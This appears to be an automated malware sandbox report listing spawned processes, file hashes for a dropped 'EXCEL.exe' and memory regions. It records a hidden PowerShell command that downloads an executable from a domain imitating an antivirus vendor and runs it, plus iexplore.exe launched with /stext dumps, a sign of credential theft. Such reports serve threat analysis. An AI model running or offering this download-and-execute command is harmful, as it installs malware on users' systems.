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C:\Program Files (x86)\Internet Explorer\iexplore.exe/stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae2.txt"6⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files (x86)\Internet Explorer\iexplore.exe/stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae3.txt"6⤵
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C:\Program Files (x86)\Internet Explorer\iexplore.exe/stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae4.txt"6⤵
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://avira.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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C:\Users\Admin\AppData\Local\Temp\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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C:\Users\Admin\AppData\Local\Temp\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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C:\Users\Admin\AppData\Roaming\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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C:\Users\Admin\AppData\Roaming\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae2.txtMD5
f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\eseeuzmae4.txtMD5
f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
0f6004116816eb71af8da5ee9c4b4674
SHA1f374e9cc014e01d4a03304689858c869e4d86641
SHA256a636ebdf2b9f279768c43f71ff70942c845a47b55617cecfc7a8b18b27e7da2d
SHA512c61364f7636e45c73cce04ac19385ee174c2a57f4e6dd80f521fbbe5192b3fbd1813b2868d5a5bf23c3d328a97f5d37217695d19051ec1a46968df0af27d38d8
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\Users\Admin\AppData\Local\Temp\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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\Users\Admin\AppData\Local\Temp\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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\Users\Admin\AppData\Roaming\EXCEL.exeMD5
7560b03d9721036181565287e85d9525
SHA1447c0d915c9236b5f3221bfbe05e5b57785d3142
SHA256f2926aaea4603961e15c9ac92eb599ddd51bd6e19bd7fded285a1db16753db87
SHA512fb38977856b6d4702b1793916c90b0b595dc8881457d6a2a98ba488f80e444314a5e1cdaa0f6a741e6c12b129195fd04f499d84a4cca32386c64fe58ccdfe583
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memory/560-97-0x0000000000401364-mapping.dmp
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memory/960-73-0x0000000002560000-0x00000000031AA000-memory.dmpFilesize
12.3MB
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memory/960-69-0x0000000004B30000-0x0000000005181000-memory.dmpFilesize
6.3MB
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memory/960-71-0x0000000002560000-0x00000000031AA000-memory.dmpFilesize
12.3MB
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memory/960-63-0x0000000000000000-mapping.dmp
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memory/1104-87-0x0000000000400000-0x000000000042C000-memory.dmpFilesize
176KB
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memory/1104-96-0x00000000000A0000-0x00000000000AA000-memory.dmpFilesize
40KB
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memory/1104-94-0x00000000000A0000-0x00000000000A6000-memory.dmpFilesize
24KB
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memory/1104-91-0x00000000004010B8-mapping.dmp
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memory/1104-90-0x0000000000400000-0x000000000042C000-memory.dmpFilesize
176KB
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memory/1104-89-0x0000000000400000-0x000000000042C000-memory.dmpFilesize
176KB
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memory/1104-88-0x0000000000400000-0x000000000042C000-memory.dmpFilesize
176KB
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memory/1340-56-0x00000000767F1000-0x00000000767F3000-memory.dmpFilesize
8KB
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memory/1340-53-0x0000000072DB1000-0x0000000072DB4000-memory.dmpFilesize
12KB
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memory/1340-55-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1340-54-0x0000000070831000-0x0000000070833000-memory.dmpFilesize
8KB
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memory/1416-72-0x0000000002470000-0x00000000030BA000-memory.dmpFilesize
12.3MB
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memory/1416-62-0x0000000000000000-mapping.dmp
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memory/1416-70-0x0000000002470000-0x00000000030BA000-memory.dmpFilesize
12.3MB
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memory/1416-68-0x0000000004DD0000-0x0000000005421000-memory.dmpFilesize
6.3MB
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memory/1444-57-0x0000000000000000-mapping.dmp
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memory/1444-67-0x0000000004B80000-0x00000000051D1000-memory.dmpFilesize
6.3MB
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memory/1444-59-0x0000000002280000-0x0000000002ECA000-memory.dmpFilesize
12.3MB
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memory/1444-60-0x0000000002280000-0x0000000002ECA000-memory.dmpFilesize
12.3MB
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memory/1444-61-0x0000000002280000-0x0000000002ECA000-memory.dmpFilesize
12.3MB
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memory/1600-75-0x0000000000000000-mapping.dmp
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memory/1600-78-0x0000000000EA0000-0x0000000000EA1000-memory.dmpFilesize
4KB
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memory/1600-95-0x0000000004B50000-0x0000000004B51000-memory.dmpFilesize
4KB
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memory/1600-83-0x0000000000680000-0x00000000006B0000-memory.dmpFilesize
192KB
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memory/1600-82-0x0000000004A30000-0x0000000004B41000-memory.dmpFilesize
1.1MB
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memory/1604-101-0x0000000000411654-mapping.dmp
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memory/1652-100-0x0000000000423BC0-mapping.dmp
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memory/1708-104-0x0000000000413750-mapping.dmp
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memory/1764-81-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmpFilesize
8KB
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memory/1764-80-0x0000000000000000-mapping.dmp
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memory/1816-102-0x0000000000442F04-mapping.dmp
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memory/1928-98-0x0000000000000000-mapping.dmp
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memory/1936-105-0x000000000040C2A8-mapping.dmp